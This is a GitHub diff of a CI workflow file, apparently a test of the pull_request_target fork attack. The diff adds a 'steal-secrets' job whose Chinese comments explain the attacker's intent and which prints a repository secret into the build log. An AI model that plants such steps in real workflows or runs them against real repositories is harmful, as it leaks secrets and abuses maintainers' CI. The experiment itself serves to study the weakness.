File tree Expand file tree Collapse file tree 1 file changed +7
-9
lines changed
Expand file tree Collapse file tree 1 file changed +7
-9
lines changed Original file line number Diff line number Diff line change 1- name : Test PR Behavior
1+ name : Malicious PR Target Workflow (from Fork)
22
3+ # 关键修改:攻击者在自己的fork中,将触发器改成了 pull_request_target
4+ # 他的意图是,希望Base Repo在处理PR时,能执行这个文件,并因此使用这个危险的触发器
35on :
46 pull_request_target :
7+ types : [opened, synchronize]
58
69jobs :
7- test-pr :
10+ steal-secrets :
811 runs-on : ubuntu-latest
912 steps :
10- - name : Checkout Code
11- uses : actions/checkout@v2
12-
13- - name : Run script
13+ - name : Attempt to access secret from fork's YML
1414 run : |
15- chmod +x ./run.sh
16- ./run.sh
1715 echo "😈 This malicious step is defined in the FORK's workflow file."
1816 echo "It is trying to use 'pull_request_target' to gain access to secrets."
1917 echo "Attempting to exfiltrate secret..."
2018 # 直接尝试将secret打印到日志中,这是最简单的攻击
2119 # 如果这个workflow真的被执行,并且能访问secret,这行就会泄密
22- echo "The secret is: ${{ secrets.MY_SECRET }}"
20+ echo "The secret is: ${{ secrets.MY_SUPER_SECRET }}"
You can’t perform that action at this time.
0 commit comments